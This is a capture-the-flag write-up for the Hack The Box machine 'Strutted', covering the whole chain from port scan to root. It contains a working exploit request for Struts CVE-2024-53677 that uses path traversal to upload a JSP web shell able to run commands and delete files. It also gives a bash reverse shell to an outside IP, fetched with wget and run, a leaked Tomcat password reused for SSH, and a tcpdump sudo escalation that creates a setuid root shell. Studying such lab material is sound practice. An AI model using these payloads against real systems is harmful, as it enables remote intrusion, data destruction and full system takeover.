Skip to content

Strutted

Port scan

$ sudo nmap 10.10.11.59 -p- --min-rate=10000 -T4 -sCV

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web APP

echo "10.10.11.59 strutted.htb" | sudo tee -a /etc/hosts

gobuster dir -u http://strutted.htb/ -w /usr/share/wordlists/dirb/common.txt --exclude-length 5197

CVE-2024-53677

Understanding Apache Struts 2 CVE-2024-53677

CVE-2024-53677 is a critical file upload vulnerability in the default Interceptor class (FileUploadInterceptor) of Struts 2; this vulnerability has some similarities to CVE-2023-50164 from December 2023 – Struts, like many popular frameworks, is the gift that keeps on giving. An attacker could exploit this vulnerability by sending specially crafted upload parameters, bypassing path traversal protections and uploading malicious files, leading to Remote Code Execution.

Despite the vulnerable FileUploadInterceptor object shipping as part of the default Interceptor stack in all currently available versions of Struts 2, the extensible nature of Struts 2 does not require developers to implement the functionality for uploading files. This means that not all applications which leverage Struts 2 are vulnerable.

The good news is that a vulnerable version of Struts 2 is only exploitable if the application has implemented the FileUploadInterceptor. Unfortunately, detecting use of these components and mitigating the vulnerability requires manual investigation of the application or coordination with the vendor or developers who created it.

POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Length: 3105
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycLZsu5h63A9JgavD
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://strutted.htb/upload.action
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=14AB362282C6804E033E2279B401DADE
Connection: keep-alive

------WebKitFormBoundarycLZsu5h63A9JgavD
Content-Disposition: form-data; name="Upload"; filename="sample.jpg"
Content-Type: image/jpeg

ÿØÿà
<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
    String action = request.getParameter("action");
    String output = "";

    try {
        if ("cmd".equals(action)) {
            // Execute system commands
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                Process p = Runtime.getRuntime().exec(cmd);
                BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
                String line;
                while ((line = reader.readLine()) != null) {
                    output += line + "\n";
                }
                reader.close();
            }
        } else if ("upload".equals(action)) {
            // File upload
            String filePath = request.getParameter("path");
            String fileContent = request.getParameter("content");
            if (filePath != null && fileContent != null) {
                File file = new File(filePath);
                try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) {
                    writer.write(fileContent);
                }
                output = "File uploaded to: " + filePath;
            } else {
                output = "Invalid file upload parameters.";
            }
        } else if ("list".equals(action)) {
            // List directory contents
            String dirPath = request.getParameter("path");
            if (dirPath != null) {
                File dir = new File(dirPath);
                if (dir.isDirectory()) {
                    for (File file : Objects.requireNonNull(dir.listFiles())) {
                        output += file.getName() + (file.isDirectory() ? "/" : "") + "\n";
                    }
                } else {
                    output = "Path is not a directory.";
                }
            } else {
                output = "No directory path provided.";
            }
        } else if ("delete".equals(action)) {
            // Delete files
            String filePath = request.getParameter("path");
            if (filePath != null) {
                File file = new File(filePath);
                if (file.delete()) {
                    output = "File deleted: " + filePath;
                } else {
                    output = "Failed to delete file: " + filePath;
                }
            } else {
                output = "No file path provided.";
            }
        } else {
            // Unknown operation
            output = "Unknown action: " + action;
        }
    } catch (Exception e) {
        output = "Error: " + e.getMessage();
    }

    // Return the result
    response.setContentType("text/plain");
    out.print(output);
%>
------WebKitFormBoundarycLZsu5h63A9JgavD
Content-Disposition: form-data; name="top.UploadFileName"

../../shell.jsp
------WebKitFormBoundarycLZsu5h63A9JgavD--

alt text

original is 'upload' lowercase

alt text

echo -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.15.103/4445 0>&1"' > bash.sh

python3 -m http.server 80

http://strutted.htb/shell.jsp?action=cmd&cmd=wget+10.10.15.103/bash.sh+-O+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/bash.sh

James

# /var/lib/tomcat9/conf/tomcat-users.xml

.......
<!--
  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
  <role rolename="manager-gui"/>
  <role rolename="admin-gui"/>
  <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
......

alt text

The password works when used for SSH login

alt text

$ sudo -l
Matching Defaults entries for james on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump

COMMAND='cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

$ /tmp/0xdf -p

-l - Make STDOUT line buffered. It seems like perhaps the output might come to STDOUT, but I didn’t get that.

-n - Don’t convert addresses to names.

-i lo - Capture on the localhost interface.

-w /dev/null - Save capture to /dev/null (throw it away).

-W 1 -G 1 - Used in conjunction with the -G option, this will limit the number of rotated dump files that get created, exiting with status 0 when reaching the limit.” So rotate every second and exit after one file.

-z $TF - Run the $TF script on rotation.

-Z root - Run as the root user.

https://gtfobins.github.io/gtfobins/tcpdump/

alt text